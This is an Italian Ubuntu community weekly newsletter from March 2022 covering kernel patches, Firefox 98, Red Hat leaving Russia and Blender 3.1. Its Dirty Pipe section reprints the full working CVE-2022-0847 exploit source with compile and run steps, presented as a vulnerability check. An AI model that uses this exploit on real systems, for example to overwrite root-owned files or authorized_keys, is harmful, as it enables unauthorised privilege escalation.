Newsletter Ubuntu-it

Numero 009 - Anno 2022

Gruppo Social Media

https://wiki.ubuntu-it.org/GruppoPromozione/

2022

Licenza

Il presente documento e il suo contenuto è distribuito con licenza **Creative Commons 4.0 di tipo "Attribuzione - Condividi allo stesso modo"**. É possibile, riprodurre, distribuire, comunicare al pubblico, esporre al pubblico, rappresentare, eseguire o recitare il presente documento alle seguenti condizioni:

- **Attribuzione** - Devi riconoscere una menzione di paternitá adeguata, fornire un link alla licenza e indicare se sono state effettuate delle modifiche. Puoi fare ciò in qualsiasi maniera ragionevole possibile, ma con modalitá tali da suggerire che il licenziante avalli te o il tuo utilizzo del materiale.
- **Stessa Licenza** - Se remixi, trasformi il materiale o ti basi su di esso, devi distribuire i tuoi contributi con la stessa licenza del materiale originario.
- **Divieto di restrizioni aggiuntive** - Non puoi applicare termini legali o misure tecnologiche che impongano ad altri soggetti dei vincoli giuridici su quanto la licenza consente loro di fare.

Un riassunto in italiano della licenza è presente a questa *pagina*. Per maggiori informazioni:

`http://www.creativecommons.org`

Questo documento è stato composto interamente dall'autore con LaTeX. Per maggiori informazioni, o segnalazioni:

Mailing List Newsletter-italiana: iscriviti per ricevere la Newsletter Italiana di Ubuntu!;
Mailing List Newsletter-Ubuntu: la redazione della newsletter italiana. Se vuoi collaborare alla realizzazione della newsletter, questo è lo strumento giusto con cui contattarci.
Canale IRC: *#ubuntu-it-promo*

A cura di:
Daniele De Michele

Newsletter Ubuntu-it

Indice

Questo è il numero **9** del **2022** della Newsletter di Ubuntu-it, riferito alla settimana che va da **lunedì 7 Marzo** a **domenica 13 Marzo**. Per qualsiasi commento, critica o lode, contattaci attraverso la *mailing list* del *gruppo promozione*.

1 Notizie da Ubuntu

1.1 Canonical rilascia nuove patch di sicurezza per tutte le versioni di Ubuntu supportate

In questi giorni **Canonical** ha rilasciato nuovi aggiornamenti di sicurezza per tutte le versioni supportate di **Ubuntu**, per affrontare diverse vulnerabilità. Questo piccolo aggiornamento di sicurezza mette al sicuro gli utenti Linux, risolvendo la cosiddetta vulnerabilità di sicurezza "Dirty Pipe" (*CVE-2022-0847*), scoperta da Max Kellermann, che potrebbe consentire a un utente malintenzionato locale di modificare qualsiasi file contrassegnato come read-only, permettendo un'escalation di privilegi. Questa vulnerabilità, per fortuna, interessa esclusivamente i sistemi Ubuntu 21.10 e 20.04 LTS che eseguono la versione del kernel Linux 5.13.
Mentre per le versioni di Ubuntu 21.10, 20.04 LTS e Ubuntu 18.04 LTS, il nuovo aggiornamento di sicurezza corregge tre difetti relativi a *Spectre* (*CVE-2022-0001*, *CVE-2022-0002* e *CVE-2022-23960*), scoperti da Enrico Barberis, Pietro Frigo, Marius Muench, Herbert Bos e Cristiano Giuffrida. Il bug in questione potrebbe consentire a un utente malintenzionato locale di esporre informazioni riservate dopo che le mitigazioni hardware aggiunte da Intel ai loro processori erano insufficienti per affrontare le vulnerabilità di Spectre-BTI. Inoltre, sempre per tutte le versioni di Ubuntu supportate, il nuovo aggiornamento di sicurezza corregge (*CVE-2022-25636*) un problema di sicurezza, scoperto da Nick Gregory, che potrebbe consentire a un utente malintenzionato locale di causare un arresto di sistema o eventualmente eseguire codice arbitrario. Come sempre, **Canonical** esorta tutti gli utenti di **Ubuntu** ad aggiornare il prima possibile le proprie installazioni alle nuove versioni del kernel Linux disponibili nei repository. Per aggiornare il proprio sistema basterà utilizzare l'Ubuntu Software oppure basterà eseguire il comando da termianele:

```
sudo apt update && sudo apt full-upgrade
```

Fonte:
9to5linux.com

2 Notizie dalla comunità internazionale

2.1 Firefox 98 è tra noi!

Con grande sorpresa da parte degli utenti, **Mozilla** ha rilasciato con un giorno di anticipo rispetto alla tabella di marcia **Firefox 98** per tutte le piattaforme GNU/Linux, Android, macOS, iOS e Windows. Anche se non ci sono nuove funzionalità da guardare o curiosare, in questo aggiornamento c'è un attenta cura all'interfaccia utente, alcuni miglioramenti di sicurezza e anche riguardante le prestazioni. Ad esempio, uno dei cambiamenti più importanti è l'ottimizzazione del flusso di download, in cui i file vengono scaricati automaticamente nel percorso di download selezionato, senza richiedere all'utente di scegliere se aprire il file con una determinata applicazione o se salvarlo in una determinata cartella. Se questa modifica non ti appaga, niente panico, perché **Mozilla** *afferma* che gli utenti possono ancora aprire i file scaricati dal pannello dei download con un solo clic. Inoltre, Firefox 98 aggiunge la possibilità di eliminare i file scaricati direttamente dal pannello dei download, tramite una nuova opzione del menu di scelta rapida "Elimina". Tra le altre modifiche, troviamo una maggiore reattività nel caricamento dei componenti aggiuntivi durante l'avvio e, come volevasi dimostrare, anche in questa versione il supporto Wayland non è abilitato per impostazione predefinita nelle build Linux. È comunque possibile abilitarlo manualmente, mettendo in conto che potrebbero esserci ancora alcuni malfunzionamenti. Detto questo, la nuova versione di **Firefox 98** è presente in tutti i repository software delle varie distribuzioni GNU/Linux, altrimenti, qualora l'aggiornamento non sia ancora arrivato, è possibile scaricare i binari per sistemi a 64 o 32 bit, oltre al tarball, in questo momento dal *server FTP* di Mozilla.

Fonte:
omgubuntu.co.uk
9to5linux.com

3 Notizie dal Mondo

3.1 Red Hat si unisce ad altri produttori e sospende le vendite in Russia e Bielorussia

Nelle ultime ore anche la multinazionale statunitense produttrice di software open source **Red Hat** ha deciso di sospendere ogni tipo di attività, tra vendite e servizi, sia in Russia sia in Bielorussia, a causa dell'attacco militare che sta avvenendo in questi giorni in Ucraina. Poche ore prima, la stessa **IBM** ha *deciso* di aderire e di prendere la stessa posizione di Red Hat e di chiudere ogni rapporto con la Russia e di aiutare i propri dipendenti e le loro famiglie a trasferirsi nei paesi limitrofi. In un *comunicato* stampa, pubblicato sul sito ufficiale da parte del CEO di Red Hat Paul Cormier, si può leggere:

> *"Sono fiducioso di parlare a nome di tutti noi quando dico che la guerra ancora in corso in Ucraina è straziante. Come azienda, siamo uniti con tutti coloro che sono stati colpiti dalla violenza e condanniamo l'invasione dell'Ucraina da parte dell'esercito russo.*

> *Aggiungiamo le nostre voci a coloro che chiedono la pace e continueremo a lavorare per consentire la sicurezza dei nostri associati colpiti e delle loro famiglie in ogni modo possibile."*

Red Hat non è la sola ad aver agito in questo modo, perché tra le altre aziende che hanno deciso di abbondare la Russia *troviamo* Apple, Microsoft, Oracle, Adobe, Netflix, PayPal, ma anche McDonald, Coca-Cola e tante altre. Per concludere, non ci è dato sapere, al momento, se tutto questa avrà un esito positivo per la fine della guerra oppure se sarà la goccia che farà traboccare il vaso. Nel nostro piccolo, ci auguriamo solamente che tutto questo finisca il prima possibile.

Fonte:
newsobserver.com
zdnet.com
redhat.com

3.2 Approfondimento sulla vulnerabilità Dirty Pipe

Quest'anno i vari team di sicurezza sono impegnati su tutti i fronti per risolvere svariate vulnerabilità. Una di queste, che affligge tutti i kernel Linux a partire dalla versione 5.8, è **Dirty Pipe** (*CVE-2022-0847*). Il tutto sorprendentemente è iniziato con l'apertura, da parte di un cliente, di un ticket di supporto relativo a dei file corrotti. Andando più a fondo, mentre i giorni passavano, si sono uniti i vari pezzi del puzzle, così si è potuto attribuire un nome e un codice a questa nuova vulnerabilità, scoperta nell'Aprile del 2021 da Max Kellerman. La vulnerabilità permette a un utente malintenzionato la sovrascrittura di un file read-only, consentendo così una *escalation dei privilegi*. Parallelamente, **CM4all** ha spiegato attraverso una *dettagliata* ricerca come usufruire della suddetta vulnerabilità per ottenere i privilegi di root all'interno dei sistemi GNU/Linux. Tranquilli, niente paura, perché Dirty Pipe è stata già corretta. Però, qualora siate curiosi e vogliate verificare se tale bug è presente nella vostra macchina, basterà prima di tutto creare un file come utente root e assicurarsi che gli altri utenti abbiano i permessi di sola lettura:

```
root@ubuntu-it:~# echo "test string" > /tmp/test
root@ubuntu-it:~# ls -l
/tmp/test -rw-r--r-- 1 root root 13 Mar 9 12:55 /tmp/test
```

Come si può notare, il file *test* è read-only per tutti gli utenti che non hanno i permessi root. Una volta eseguito questo passaggio, effettuare il login come un utente non privilegiato e, per verificare se il file è effettivamente read-only, digitare:

```
pippo@ubuntu:~$ cat /tmp/test
test string
pippo@ubuntu:~$ echo "exploited" > /tmp/test
-bash: /tmp/test: Permission denied
```

Infine, si incolli il seguente output in un file rinominato come write_anything.c:

```c
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to
   overwrite any
 * file contents in the page cache, even if the file is not
   permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was
    made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug
   , it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset
    cannot
 * be on a page boundary (it needs to write one byte before
   the offset
 * to add a reference to this page to the pipe), and the write
    cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\
   nssh-ed25519 AAA.....\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring
   have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();

  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];

  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
```

```
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }

  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }

  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}

int main(int argc, char **argv)
{
  if (argc != 4) {
    fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv
        [0]);
    return EXIT_FAILURE;
  }

  /* dumb command-line argument parser */
  const char *const path = argv[1];
  loff_t offset = strtoul(argv[2], NULL, 0);
  const char *const data = argv[3];
  const size_t data_size = strlen(data);

  if (offset % PAGE_SIZE == 0) {
    fprintf(stderr, "Sorry, cannot start writing at a page
        boundary\n");
    return EXIT_FAILURE;
  }

  const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  const loff_t end_offset = offset + (loff_t)data_size;
  if (end_offset > next_page) {
    fprintf(stderr, "Sorry, cannot write across a page
        boundary\n");
    return EXIT_FAILURE;
  }

  /* open the input file and validate the specified offset */
  const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return EXIT_FAILURE;
  }

  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return EXIT_FAILURE;
  }

  if (offset > st.st_size) {
    fprintf(stderr, "Offset is not inside the file\n");
```

```
    return EXIT_FAILURE;
  }

  if (end_offset > st.st_size) {
    fprintf(stderr, "Sorry, cannot enlarge the file\n");
    return EXIT_FAILURE;
  }

  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);

  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return EXIT_FAILURE;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return EXIT_FAILURE;
  }

  /* the following write will not create a new pipe_buffer,
      but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, data_size);
  if (nbytes < 0) {
    perror("write failed");
    return EXIT_FAILURE;
  }
  if ((size_t)nbytes < data_size) {
    fprintf(stderr, "short write\n");
    return EXIT_FAILURE;
  }

  printf("It worked!\n");
  return EXIT_SUCCESS;
}
```

Listing 1: Nena would be proud.

Per finire, si compili il *POC* con il comando:

```
pippo@ubuntu:~$ gcc write_anything.c -o write_anything
```

E per testare se la vulnerabilità è presente:

```
pippo@ubuntu:~$ ./write_anything /tmp/test 1 $'\nexploited'
It worked!
pippo@ubuntu:~$ cat /tmp/test
t
exploited
```

Well Done! Se non lo abbiamo ancora detto, aggiornate i vostri sistemi il prima possibile.

Fonte:
zdnet.com
dirtypipe.cm4all.com

3.3 Blender 3.1 e il grande balzo in avanti nelle prestazioni

Dopo due mesi di intenso lavoro, la **Blender Foundation** ha *annunciato* finalmente la disponibilità della prima point release della serie **Blender 3.0**, il noto e potente software di modellazione 3D open source e multipiattaforma. Questo aggiornamento è improntato sul potenziamento delle prestazioni e della velocità di esecuzione, che permettono a Blender una maggiore affidabilità e velocità dei compiti. Per dimostrare tutto ciò, il team di sviluppo ha creato un apposito *video* dimostrativo, in cui si esaltono le varie capacità migliorative di questo aggiornamento. Ad esempio, si sono migliorate le prestazioni di varie mesh, tra cui *Mesh Vertex* e Face Normals, nonché al sistema procedurale di Blender, il quale ha anche ricevuto 19 nuovi nodi, strumenti di modellazione mesh, controllo avanzato dei campi. Tra le altre modifiche degne di nota, troviamo:

- Nuovo backend GPU Metal fornito da Apple per supportare i chip M1 e le schede AMD;
- Migliorata la velocità di esportazione dei file *.obj* e *.fbx*;
- Migliore multi-threading e utilizzo ridotto della memoria nei nodi Geometry;
- Accelerazione GPU migliorata per rendere la riproduzione di 3D Viewport molto più veloce;
- Aggiornamento dell'Editor di immagini per gestire in miglior modo l'anteprima e la modifica di immagini di grandi dimensioni.

Con questo aggiornamento, Blender ora utilizza fino al 20% di memoria in meno, visualizza alberi di nodi di grandi dimensioni quasi due volte più velocemente rispetto a prima, elabora valori singoli con nodi di campo fino a 2-3 volte più velocemente e accede ai nodi di geometria fino al 40% più velocemente. Inoltre per rimanere fedeli ai numeri, la mesh Cube è ora circa il 75% più veloce, mentre l'utilizzo della memoria è stato ridotto fino a 100 volte nei campi di grandi dimensioni. Nel frattempo, puoi scaricare la nuova versione di **Blender 3.1** dal *sito Web ufficiale* come pacchetto binario e divertirti nel riprodurre tutto ciò che desideri.

Fonte:
omgubuntu.co.uk
9to5linux.com

4 Aggiornamenti e statistiche

4.1 Aggiornamenti di sicurezza

Gli annunci di sicurezza sono consultabili nell'apposita *sezione del forum*.

4.2 Bug riportati

- Aperti: 138373, +**144** rispetto alla scorsa settimana.
- Critici: 326, +**1** rispetto alla scorsa settimana.
- Nuovi: 69072, -**106** rispetto alla scorsa settimana.

È possibile aiutare a migliorare Ubuntu, riportando problemi o malfunzionamenti. Se si desidera collaborare ulteriormente, la *Bug Squad* ha sempre bisogno di una mano.

4.3 Statistiche del gruppo sviluppo

Segue la lista dei pacchetti realizzati dal *GruppoSviluppo* della comunità italiana nell'ultima settimana:

- *Mattia Rizzolo*:
  - *libxml2 2.9.13+dfsg-1*, per Ubuntu jammy-proposed
  - *sigil 1.9.1+dfsg-1*, per Debian unstable
  - *sigil 1.9.2+dfsg-1*, per Debian unstable
  - *sigil 1.9.2+dfsg-1*, per Ubuntu jammy-proposed

Se si vuole contribuire allo sviluppo di Ubuntu correggendo bug, aggiornando i pacchetti nei repository, ecc... il *GruppoSviluppo* è sempre alla ricerca di nuovi volontari.

5 Commenti e informazioni

La tua newsletter preferita è scritta grazie al contributo libero e volontario della *comunità ubuntu-it*. In questo numero hanno partecipato alla redazione degli articoli:

- *Daniele De Michele*

Ha inoltre collaborato all'edizione:

- *Stefano Dall'Agata*

Ha realizzato il pdf:

- *Daniele De Michele*

6 Scrivi per la newsletter

La **Newsletter Ubuntu-it** ha lo scopo di tenere aggiornati tutti gli utenti **Ubuntu** e, più in generale, le persone appassionate del mondo open-source. Viene resa disponibile gratuitamente con cadenza settimanale ogni Lunedì, ed è aperta al contributo di tutti gli utenti che vogliono partecipare con un proprio articolo. L'autore dell'articolo troverà tutte le raccomandazioni e istruzioni dettagliate all'interno della pagina *Linee Guida*, dove inoltre sono messi a disposizione per tutti gli utenti una serie di indirizzi web che offrono notizie riguardanti le principali novità su Ubuntu e sulla comunità internazionale, tutte le informazioni sulle attività della comunità italiana, le notizie sul software libero dall'Italia e dal mondo. Per chiunque fosse interessato a collaborare con la newsletter Ubuntu-it a titolo di redattore o grafico, può scrivere alla *mailing list* del *gruppo promozione* oppure sul canale IRC: *#ubuntu-it-promo*. Fornire il tuo contributo a questa iniziativa come membro, e non solo come semplice utente, è un presupposto fondamentale per aiutare la diffusione di Ubuntu anche nel nostro paese. Per rimanere in contatto con noi, puoi seguirci su:


Facebook


Twitter


YouTube


Telegram

"Noi siamo ciò che siamo per
merito di ciò che siamo tutti"

Questa newsletter è stata prodotta dal
Gruppo Social Media usando esclusivamente
software libero.